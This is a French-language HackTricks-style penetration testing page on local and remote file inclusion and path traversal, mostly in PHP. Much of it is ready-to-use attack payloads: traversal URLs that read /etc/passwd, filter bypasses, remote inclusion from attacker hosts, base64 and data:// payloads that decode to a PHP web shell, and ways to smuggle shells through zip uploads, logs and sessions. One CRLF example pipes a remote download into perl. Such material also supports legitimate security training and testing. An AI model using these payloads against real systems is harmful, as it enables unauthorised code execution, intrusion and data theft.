.. | ||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md | ||
lfi2rce-via-eternal-waiting.md | ||
lfi2rce-via-nginx-temp-files.md | ||
lfi2rce-via-php-filters.md | ||
lfi2rce-via-phpinfo.md | ||
lfi2rce-via-segmentation-fault.md | ||
lfi2rce-via-temp-file-uploads.md | ||
phar-deserialization.md | ||
README.md | ||
via-php_session_upload_progress.md |
Inclusion de fichiers/Traversée de chemin
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Rejoignez le serveur Discord HackenProof pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
Aperçus du hacking
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
Actualités de hacking en temps réel
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
Dernières annonces
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
Inclusion de fichiers
Inclusion de fichiers à distance (RFI) : Le fichier est chargé depuis un serveur distant (Meilleur : Vous pouvez écrire le code et le serveur l'exécutera). En php, cela est désactivé par défaut (allow_url_include).
Inclusion de fichiers locaux (LFI) : Le serveur charge un fichier local.
La vulnérabilité se produit lorsque l'utilisateur peut contrôler d'une manière ou d'une autre le fichier qui va être chargé par le serveur.
Fonctions PHP vulnérables : require, require_once, include, include_once
Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap
Blind - Intéressant - fichiers LFI2RCE
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
En mélangeant plusieurs listes LFI *nix et en ajoutant d'autres chemins, j'ai créé celle-ci :
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Essayez également de changer /
par \
Essayez aussi d'ajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée ici
Windows
Fusion de différentes listes de mots :
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Essayez également de changer /
par \
Essayez aussi de supprimer C:/
et d'ajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée ici
OS X
Vérifiez la liste LFI de linux.
LFI de base et contournements
Tous les exemples sont pour l'inclusion de fichiers locaux mais pourraient également être appliqués à l'inclusion de fichiers distants (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
séquences de traversal supprimées non récursivement
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Octet nul (%00)
Contourner l'ajout de plus de caractères à la fin de la chaîne fournie (contournement de : $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Ceci est résolu depuis PHP 5.4
Encodage
Vous pourriez utiliser des encodages non standards comme le double encodage URL (et d'autres) :
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Depuis un dossier existant
Peut-être que le back-end vérifie le chemin du dossier :
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Explorer les Répertoires du Système de Fichiers sur un Serveur
Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus implique de déterminer la profondeur du répertoire et de sonder l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
- Déterminer la Profondeur du Répertoire : Établissez la profondeur de votre répertoire actuel en récupérant avec succès le fichier
/etc/passwd
(applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Probe for Folders : Ajoutez le nom du dossier suspecté (par exemple,
private
) à l'URL, puis naviguez de nouveau vers/etc/passwd
. Le niveau de répertoire supplémentaire nécessite d'augmenter la profondeur d'un :
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpréter les résultats : La réponse du serveur indique si le dossier existe :
- Erreur / Pas de sortie : Le dossier
private
n'existe probablement pas à l'emplacement spécifié. - Contenu de
/etc/passwd
: La présence du dossierprivate
est confirmée.
- Exploration récursive : Les dossiers découverts peuvent être explorés davantage pour des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles d'Inclusion de Fichiers Locaux (LFI).
Pour explorer des répertoires à différents emplacements dans le système de fichiers, ajustez la charge utile en conséquence. Par exemple, pour vérifier si /var/www/
contient un répertoire private
(en supposant que le répertoire actuel est à une profondeur de 3), utilisez :
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Technique de Troncature de Chemin
La troncature de chemin est une méthode utilisée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de créer un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.
En PHP, diverses représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :
/etc/passwd
,/etc//passwd
,/etc/./passwd
, et/etc/passwd/
sont tous traités comme le même chemin.- Lorsque les 6 derniers caractères sont
passwd
, ajouter un/
(le rendantpasswd/
) ne change pas le fichier ciblé. - De même, si
.php
est ajouté à un chemin de fichier (commeshellcode.php
), ajouter un/.
à la fin ne modifiera pas le fichier accédé.
Les exemples fournis démontrent comment utiliser la troncature de chemin pour accéder à /etc/passwd
, une cible courante en raison de son contenu sensible (informations sur les comptes utilisateurs) :
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Dans ces scénarios, le nombre de traversées nécessaires pourrait être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
- Utilisation de segments de points et de caractères supplémentaires : Les séquences de traversée (
../
) combinées avec des segments de points supplémentaires et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant efficacement les chaînes ajoutées par le serveur. - Détermination du nombre requis de traversées : Par essais et erreurs, on peut trouver le nombre précis de séquences
../
nécessaires pour naviguer jusqu'au répertoire racine puis à/etc/passwd
, en s'assurant que toutes les chaînes ajoutées (comme.php
) sont neutralisées mais que le chemin désiré (/etc/passwd
) reste intact. - Commencer par un répertoire fictif : Il est courant de commencer le chemin par un répertoire inexistant (comme
a/
). Cette technique est utilisée comme mesure de précaution ou pour répondre aux exigences de la logique d'analyse de chemin du serveur.
Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse de chemin du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
Cette vulnérabilité a été corrigée dans PHP 5.3.
Trucs de contournement de filtre
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
Dans php, cela est désactivé par défaut car allow_url_include
est Désactivé. Il doit être Activé pour que cela fonctionne, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE :
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Si pour une raison quelconque allow_url_include
est Activé, mais que PHP filtre l'accès aux pages web externes, selon ce post, vous pourriez utiliser par exemple le protocole de données avec base64 pour décoder un code PHP en b64 et obtenir RCE :
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
Dans le code précédent, le +.txt
final a été ajouté car l'attaquant avait besoin d'une chaîne se terminant par .txt
, donc la chaîne se termine par cela et après le décodage b64, cette partie ne renverra que des déchets et le vrai code PHP sera inclus (et donc, exécuté).
{% endhint %}
Un autre exemple ne utilisant pas le protocole php://
serait :
{% code overflow="wrap" %}
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}
Élément racine Python
Dans python, dans un code comme celui-ci :
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Si l'utilisateur passe un chemin absolu à file_name
, le chemin précédent est simplement supprimé :
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
C'est le comportement prévu selon la documentation :
Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jonction continue à partir du composant de chemin absolu.
Java Lister les Répertoires
Il semble que si vous avez un Path Traversal en Java et que vous demandez un répertoire au lieu d'un fichier, un listing du répertoire est retourné. Cela ne se produira pas dans d'autres langages (à ma connaissance).
Top 25 paramètres
Voici une liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (provenant de lien) :
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI utilisant des wrappers et protocoles PHP
php://filter
Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant qu'elles ne soient lues ou écrites. Il existe 5 catégories de filtres :
- Filtres de chaîne :
string.rot13
string.toupper
string.tolower
string.strip_tags
: Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")- Notez que ce filtre a disparu des versions modernes de PHP
- Filtres de conversion
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforme en un autre encodage (convert.iconv.<input_enc>.<output_enc>
). Pour obtenir la liste de tous les encodages pris en charge, exécutez dans la console :iconv -l
{% hint style="warning" %}
En abusant du filtre de conversion convert.iconv.*
, vous pouvez générer du texte arbitraire, ce qui pourrait être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos, consultez LFI2RCE via php filters.
{% endhint %}
- Filtres de compression
zlib.deflate
: Compresse le contenu (utile si vous exfiltrez beaucoup d'infos)zlib.inflate
: Décompresse les données- Filtres de chiffrement
mcrypt.*
: Obsolètemdecrypt.*
: Obsolète- Autres filtres
- En exécutant dans php
var_dump(stream_get_filters());
, vous pouvez trouver quelques filtres inattendus : consumed
dechunk
: inverse l'encodage HTTP en morceauxconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} La partie "php://filter" est insensible à la casse {% endhint %}
Utilisation des filtres php comme oracle pour lire des fichiers arbitraires
Dans cet article, une technique est proposée pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une exfiltration booléenne du fichier (caractère par caractère) en utilisant des filtres php comme oracle. Cela est dû au fait que les filtres php peuvent être utilisés pour rendre un texte suffisamment grand pour que php génère une exception.
Dans l'article original, vous pouvez trouver une explication détaillée de la technique, mais voici un résumé rapide :
- Utilisez le codec
UCS-4LE
pour laisser le caractère de tête du texte au début et faire augmenter la taille de la chaîne de manière exponentielle. - Cela sera utilisé pour générer un texte si grand lorsque la lettre initiale est devinée correctement que php déclenchera une erreur.
- Le filtre dechunk supprimera tout si le premier caractère n'est pas un hexadécimal, donc nous pouvons savoir si le premier caractère est hexadécimal.
- Cela, combiné avec le précédent (et d'autres filtres selon la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand nous faisons suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Parce que si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale fera une erreur php.
- Le codec convert.iconv.UNICODE.CP930 transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un
a
par exemple, car si nous appliquons 6 de ce codec a->b->c->d->e->f->g, la lettre n'est plus un caractère hexadécimal, donc dechunk ne l'a pas supprimée et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale. - En utilisant d'autres transformations comme rot13 au début, il est possible de leak d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres vers la plage hexadécimale).
- Lorsque le caractère initial est un nombre, il est nécessaire de l'encoder en base64 et de leak les 2 premières lettres pour leak le nombre.
- Le problème final est de voir comment leak plus que la lettre initiale. En utilisant des filtres de mémoire d'ordre comme convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, il est possible de changer l'ordre des caractères et d'obtenir en première position d'autres lettres du texte.
- Et afin de pouvoir obtenir plus de données, l'idée est de générer 2 octets de données inutiles au début avec convert.iconv.UTF16.UTF16, d'appliquer UCS-4LE pour le faire pivoter avec les 2 octets suivants, et de supprimer les données jusqu'aux données inutiles (cela supprimera les 2 premiers octets du texte initial). Continuez à faire cela jusqu'à atteindre le bit désiré à leak.
Dans l'article, un outil pour effectuer cela automatiquement a également été leaké : php_filters_chain_oracle_exploit.
php://fd
Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Vous pouvez également utiliser php://stdin, php://stdout et php://stderr pour accéder aux descripteurs de fichiers 0, 1 et 2 respectivement (je ne suis pas sûr de la façon dont cela pourrait être utile dans une attaque)
zip:// et rar://
Téléchargez un fichier Zip ou Rar avec un PHPShell à l'intérieur et accédez-y.
Pour pouvoir abuser du protocole rar, il doit être spécifiquement activé.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Notez que ce protocole est restreint par les configurations php allow_url_open
et allow_url_include
expect://
Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci :
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Spécifiez votre payload dans les paramètres POST :
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un fichier .phar
peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que include
pour le chargement de fichiers. L'extrait de code PHP ci-dessous démontre la création d'un fichier .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Pour compiler le fichier .phar
, la commande suivante doit être exécutée :
php --define phar.readonly=0 create_path.php
Lors de l'exécution, un fichier nommé test.phar
sera créé, qui pourrait potentiellement être utilisé pour exploiter des vulnérabilités d'Inclusion de Fichiers Locaux (LFI).
Dans les cas où le LFI ne réalise que la lecture de fichiers sans exécuter le code PHP à l'intérieur, via des fonctions telles que file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, ou filesize()
, une exploitation d'une vulnérabilité de désérialisation pourrait être tentée. Cette vulnérabilité est associée à la lecture de fichiers utilisant le protocole phar
.
Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers .phar
, référez-vous au document lié ci-dessous :
Phar Deserialization Exploitation Guide
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
CVE-2024-2961
Il était possible d'abuser de tout fichier arbitraire lu depuis PHP qui prend en charge les filtres php pour obtenir un RCE. La description détaillée peut être trouvée dans ce post.
Résumé très rapide : un dépassement de 3 octets dans le tas PHP a été abusé pour modifier la chaîne de morceaux libres d'une taille spécifique afin de pouvoir écrire n'importe quoi à n'importe quelle adresse, donc un hook a été ajouté pour appeler system
.
Il était possible d'allouer des morceaux de tailles spécifiques en abusant de plus de filtres php.
Plus de protocoles
Vérifiez plus de protocoles possibles à inclure ici:
- php://memory et php://temp — Écrire en mémoire ou dans un fichier temporaire (pas sûr de comment cela peut être utile dans une attaque d'inclusion de fichiers)
- file:// — Accéder au système de fichiers local
- http:// — Accéder aux URL HTTP(s)
- ftp:// — Accéder aux URL FTP(s)
- zlib:// — Flux de compression
- glob:// — Trouver des noms de chemin correspondant à un motif (Cela ne retourne rien d'imprimable, donc pas vraiment utile ici)
- ssh2:// — Secure Shell 2
- ogg:// — Flux audio (Pas utile pour lire des fichiers arbitraires)
LFI via 'assert' de PHP
Les risques d'Inclusion de Fichiers Locaux (LFI) en PHP sont particulièrement élevés lorsqu'il s'agit de la fonction 'assert', qui peut exécuter du code à l'intérieur de chaînes. Cela est particulièrement problématique si l'entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais pas correctement assainie.
Par exemple, le code PHP pourrait être conçu pour empêcher la traversée de répertoire comme suit :
assert("strpos('$file', '..') === false") or die("");
Bien que cela vise à arrêter la traversée, cela crée involontairement un vecteur pour l'injection de code. Pour exploiter cela afin de lire le contenu des fichiers, un attaquant pourrait utiliser :
' and die(highlight_file('/etc/passwd')) or '
De même, pour exécuter des commandes système arbitraires, on pourrait utiliser :
' and die(system("id")) or '
Il est important de coder ces payloads en URL.
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
Aperçus sur le hacking
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
Actualités de hacking en temps réel
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
Dernières annonces
Restez informé des nouvelles chasses aux bugs lancées et des mises à jour cruciales des plateformes
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
PHP Blind Path Traversal
{% hint style="warning" %}
Cette technique est pertinente dans les cas où vous contrôlez le chemin du fichier d'une fonction PHP qui va accéder à un fichier mais vous ne verrez pas le contenu du fichier (comme un simple appel à file()
) mais le contenu n'est pas affiché.
{% endhint %}
Dans ce post incroyable, il est expliqué comment un parcours de chemin aveugle peut être abusé via un filtre PHP pour exfiltrer le contenu d'un fichier via un oracle d'erreur.
En résumé, la technique utilise le "UCS-4LE" encoding pour rendre le contenu d'un fichier si grand que la fonction PHP ouvrant le fichier déclenchera une erreur.
Ensuite, afin de divulguer le premier caractère, le filtre dechunk
est utilisé avec d'autres tels que base64 ou rot13 et enfin les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d'autres caractères au début et les divulguer.
Fonctions qui pourraient être vulnérables : file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (uniquement pour la lecture cible avec cela)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Pour les détails techniques, consultez le post mentionné !
LFI2RCE
Inclusion de fichier à distance
Expliqué précédemment, suivez ce lien.
Via le fichier journal Apache/Nginx
Si le serveur Apache ou Nginx est vulnérable à LFI à l'intérieur de la fonction d'inclusion, vous pourriez essayer d'accéder à /var/log/apache2/access.log
ou /var/log/nginx/access.log
, en définissant à l'intérieur de l'agent utilisateur ou à l'intérieur d'un paramètre GET un shell PHP comme <?php system($_GET['c']); ?>
et inclure ce fichier
{% hint style="warning" %} Notez que si vous utilisez des guillemets doubles pour le shell au lieu de guillemets simples, les guillemets doubles seront modifiés pour la chaîne "quote;", PHP générera une erreur là et rien d'autre ne sera exécuté.
De plus, assurez-vous de bien écrire le payload sinon PHP générera une erreur chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas une seconde opportunité. {% endhint %}
Cela pourrait également être fait dans d'autres journaux mais soyez prudent, le code à l'intérieur des journaux pourrait être codé en URL et cela pourrait détruire le Shell. L'en-tête authorisation "basic" contient "user:password" en Base64 et il est décodé à l'intérieur des journaux. Le PHPShell pourrait être inséré dans cet en-tête.
Autres chemins de journaux possibles :
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via Email
Envoyez un mail à un compte interne (user@localhost) contenant votre charge utile PHP comme <?php echo system($_REQUEST["cmd"]); ?>
et essayez d'inclure dans le mail de l'utilisateur un chemin comme /var/mail/<USERNAME>
ou /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Téléchargez beaucoup de shells (par exemple : 100)
- Incluez http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut être bruteforcé) et $FD le descripteur de fichier (peut aussi être bruteforcé)
Via /proc/self/environ
Comme un fichier journal, envoyez la charge utile dans le User-Agent, elle sera reflétée dans le fichier /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Si vous pouvez télécharger un fichier, injectez simplement le payload de shell dedans (par exemple : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Pour garder le fichier lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf
Via téléchargement de fichier Zip
Téléchargez un fichier ZIP contenant un shell PHP compressé et accédez à :
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via les sessions PHP
Vérifiez si le site utilise la session PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
En PHP, ces sessions sont stockées dans des fichiers /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Settez le cookie à <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Utilisez le LFI pour inclure le fichier de session PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à <HOME>/.ssh/id_rsa
Via vsftpd logs
Les journaux pour le serveur FTP vsftpd se trouvent à /var/log/vsftpd.log. Dans le scénario où une vulnérabilité de Local File Inclusion (LFI) existe, et où l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
- Injectez une charge utile PHP dans le champ du nom d'utilisateur lors du processus de connexion.
- Après l'injection, utilisez le LFI pour récupérer les journaux du serveur à partir de /var/log/vsftpd.log.
Via php base64 filter (using base64)
Comme indiqué dans cet article, le filtre PHP base64 ignore simplement les Non-base64. Vous pouvez l'utiliser pour contourner la vérification de l'extension de fichier : si vous fournissez un base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" au base64. Voici un exemple de charge utile :
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
Ce writeup explique que vous pouvez utiliser des filtres php pour générer du contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez générer du code php arbitraire pour l'inclusion sans avoir besoin de l'écrire dans un fichier.
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Via segmentation fault
Téléchargez un fichier qui sera stocké comme temporaire dans /tmp
, puis dans la même requête, déclenchez un segmentation fault, et ensuite le fichier temporaire ne sera pas supprimé et vous pourrez le rechercher.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Via Nginx temp file storage
Si vous avez trouvé une inclusion de fichier local et que Nginx fonctionne devant PHP, vous pourriez être en mesure d'obtenir RCE avec la technique suivante :
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
Via PHP_SESSION_UPLOAD_PROGRESS
Si vous avez trouvé une inclusion de fichier local même si vous n'avez pas de session et que session.auto_start
est Off
. Si vous fournissez le PHP_SESSION_UPLOAD_PROGRESS
dans les données multipart POST, PHP activera la session pour vous. Vous pourriez en abuser pour obtenir RCE :
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Via temp file uploads in Windows
Si vous avez trouvé une inclusion de fichier local et que le serveur fonctionne sous Windows, vous pourriez obtenir RCE :
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
Via pearcmd.php
+ URL args
Comme expliqué dans ce post, le script /usr/local/lib/phppearcmd.php
existe par défaut dans les images docker php. De plus, il est possible de passer des arguments au script via l'URL car il est indiqué que si un paramètre d'URL n'a pas de =
, il doit être utilisé comme argument.
La requête suivante crée un fichier dans /tmp/hello.php
avec le contenu <?=phpinfo()?>
:
{% code overflow="wrap" %}
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
{% endcode %}
L'abus suivant d'une vulnérabilité CRLF permet d'obtenir un RCE (provenant de ici):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Si vous avez trouvé une Local File Inclusion et un fichier exposant phpinfo() avec file_uploads = on, vous pouvez obtenir RCE :
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Si vous avez trouvé une Local File Inclusion et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS le serveur vérifie si le fichier à inclure a des marques PHP, vous pouvez essayer de contourner cette vérification avec cette Race Condition :
